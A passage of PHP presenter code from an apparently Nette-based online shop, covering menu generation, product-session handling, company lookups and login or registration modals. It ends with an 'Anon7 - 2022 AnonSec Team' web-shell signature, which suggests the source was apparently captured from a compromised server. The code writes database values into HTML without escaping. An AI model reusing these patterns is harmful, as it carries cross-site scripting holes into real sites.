        $categoryImgSrc = $imagesTypeRepository->findAll()->fetchAssoc('id')[ImagesTypeRepository::CategoryImage]['src'];
        $stringFilterCat = ($this->translatorRepository->getBy(['key' => 'category'])->{\App\Presenters\BasePresenter::getLanguageData()}) ?: 'category';
        $stringFilterSubCat = ($this->translatorRepository->getBy(['key' => 'sub_category'])->{\App\Presenters\BasePresenter::getLanguageData()}) ?: 'sub_category';

        foreach ($menuQuery as $row) {
            $subMenuQuery = $this->categoryRepository->getMainSubMenuByCategory($ls, $row['id']);

            $data[] = "<li>
                        <div class='menu-list__item-wrap'>
                            <a href=\"/$stringFilterCat/" . $row['url'] . "\" class='has-icon'>
                            <span class='menu-list__icon'>
                                <img src='".($categoryImgSrc.$row['image'] != '/images/front/categories/' ? $categoryImgSrc.$row['image'] : '/images/front/system/static/category-icons/flash-disk.svg')."' alt='" . $row['name'] . "'>
                            </span>" . $row['name'] . "</a>
                            ".(count($subMenuQuery) > 0 ? "<button type='button' class='menu-expand is-small js-menu-expand'></button>" : "")."
                        </div>";

            $childCount = count($subMenuQuery);
            if (0 < $childCount) {
                $data[] = "<ul class='menu-list__submenu ".($this->submenuShowMoreLimit < $childCount ? 'menu-list__child_more' : '')."'>";
                foreach ($subMenuQuery as $subM) {
                    $data[] = "<li><a href=\"/$stringFilterSubCat/" . $row['url'] . "/" . $subM['url'] . "\">" . $subM['name'] . "</a></li>";
                }
                if($this->submenuShowMoreLimit < $childCount){
                    $data[] = "<li class='child_show_more'><a onclick='child_show_more(this)' class='child_show_more-link'>".$l['vice']."</a></li>";
                }
                $data[] = "</ul>";
            }
            $data[] = "</li>";
        }

        try {
            $a = $this->cache->save("themeMenu", $data);
        } catch (Exception $a) {
            throw new Exception;
        }
        return $data;
    }


    /**
     * @return array|bool
     * @throws \Throwable
     */
    public function generateStockMenu()
    {
        $data = [];
        $ls = $this->languageShortLoader();
        $stockProducts = $this->translatorRepository->findBy(array("key" => "stockProducts"))->fetch();
        $stockProductsUrl = '/' . ($stockProducts[$ls] ?: $stockProducts['key']);

        foreach (['Stock', 'Samples', 'Sale',] as $mode) {
            //$filter = $this->translatorRepository->findBy(array("key" => "stockProducts$mode"))->fetch();
            //$filter = $filter[$ls] ?: "stockProducts$mode";
            $filter = BasePresenter::getLanguage("stockProducts$mode");
            $data[$mode] = ["url" => $stockProductsUrl . '/' . "stockProducts$mode", "name" => $filter];
        }
        try {
            $this->cache->save("stockMenu", $data);
        } catch (Exception $a) {
            throw new Exception;
        }
        return $data;
    }

    /**
     * @param $page_id
     * @return string
     */
    public function getPageLink($page_id)
    {
        $ls = $this->languageShortLoader();
        try {
            $page = $this->pageRepository->getPageById($page_id, $ls);
        } catch (RepositoryException $e) {
            return "<p></p>";
        }
        if ($page['active']) return "<li><a href='/info/" . $page['url'] . "'>" . $page['title'] . "</a></li>";
    }

    /**
     * @param $page_id
     * @return string
     */
    public function getPageLinkSimple($page_id)
    {
        $ls = $this->languageShortLoader();
        try {
            $page = $this->pageRepository->getPageById($page_id, $ls);
        } catch (RepositoryException $e) {
            return "<p></p>";
        }
        if ($page['active']) return "/info/" . $page['url'];
    }

    /**
     * @param null $url
     * @return mixed
     */
    public function getNews($url = null)
    {
        $url = html_entity_decode($url);
        $ls = $this->languageShortLoader();
        $news = $this->postRepository->getNewsDataByUrl($ls, $url, 1);
        return array_shift($news);
    }

    public function actionSessionProduct()
    {
        $productCode = $this->getParameter('product_id');
        switch ($this->getParameter('do')) {
            case 'addToSession':
                $prod = $this->session->getSection('products');
                if (!isset($prod->products))
                    $prod->products = [];
                $prod->products[$productCode] = $productCode;
                $product = $this->productRepository->getProduct($productCode);
                $product['image'] = $product['images'][0]['min'];
                $product['image'] = ($product['image'] ?: ProductImagesRepository::$NO_IMG);
                unset($product['images']);
                $this->sendJson(json_encode($product));
                break;
            case 'removeAllFromSession':
                $this->session->getSection('products')->remove();
                break;
            case 'removeFromSession':
                $prod = $this->session->getSection('products');
                if (!isset($prod->products))
                    break;
                $prod->products = array_diff($prod->products, [$productCode]);
                break;
        }

        $this->getHttpResponse()->setCode(200);
        exit();
    }


    public function actionGetCompanyInfo()
    {
        $ares = new \Promoteus\Ares();
        try {
            $response = $ares->loadData($this->getParameter('ico'));
            die(json_encode($response));
        } catch (Exception $e) {
            die('not found');
            // log identification number, why is bad? Or make nothing.
        }
        die();
    }

    /**
     * @param null $modalId
     * @param string $modalContainer
     */
    public function handleModal($modalId = null, $modalContainer = 'modal')
    {
        $this->payload->idModal = $modalContainer;
        if (!empty($modalId)) {
            $this->template->modal = $modalId;
            $this->redrawControl($modalContainer);
            $this->payload->isModal = 'show';
        } else {
            $this->payload->isModal = 'hide';
        }
    }

    private function login(String $mode)
    {
        $this->template->loginMode = $mode;
        $this->handleModal("login");
    }

    public function handleRegister_client()
    {
        $this->login('registration');
    }

    public function handleLogin_client()
    {
        $this->login('login');
    }

    public function handleChangePassword_client()
    {
        $this->login('changePassword');
    }

    public function handleLostpass_client()
    {
        $this->login('lostpass');
    }

    /**
     * @param $code
     * @param null $redirectTo
     * @throws \Nette\Application\AbortException
     */
    public function handleAddItemToProductsSession($code, $redirectTo = null)
    {
        $productsSession = $this->session->getSection('products');
        if ($productsSession) {
            $productsSession->products[$code] = $code;
        } else {
            $productsSession->products = [$code => $code];
        }
        if ($redirectTo)
            $this->redirect($redirectTo);
    }

    public function createComponentLoginForm()
    {
        /**@var LoginForm $loginForm */
        $loginForm = $this->context->getService('componentLoginForm');
        return $loginForm->create();
    }

    public function createComponentRegistrationForm()
    {
        /**@var RegistrationForm $registrationForm */
        $registrationForm = $this->context->getService('componentRegistrationForm');
        return $registrationForm->create();
    }

    public function createComponentLostpassForm()
    {
        /**@var LostpassForm $lostpassForm */
        $lostpassForm = $this->context->getService('componentLostpassForm');
        return $lostpassForm->create();
    }

	public function createComponentChangePasswordForm()
	{
		/**@var ChangePasswordForm $form */
		$form = $this->context->getService('componentChangePasswordForm');
		return $form->create($this->user->id);
	}

    public function createComponentItemsList()
    {
        return $this->context->getService('itemsList');
    }

    function flashMessage($message, $type = 'info')
    {
        $flash = parent::flashMessage($message, $type);
        //if ($type !== 'info') return $flash;
        $this->redirect('Pages:FlashMessage');
    }
}

Anon7 - 2022
AnonSec Team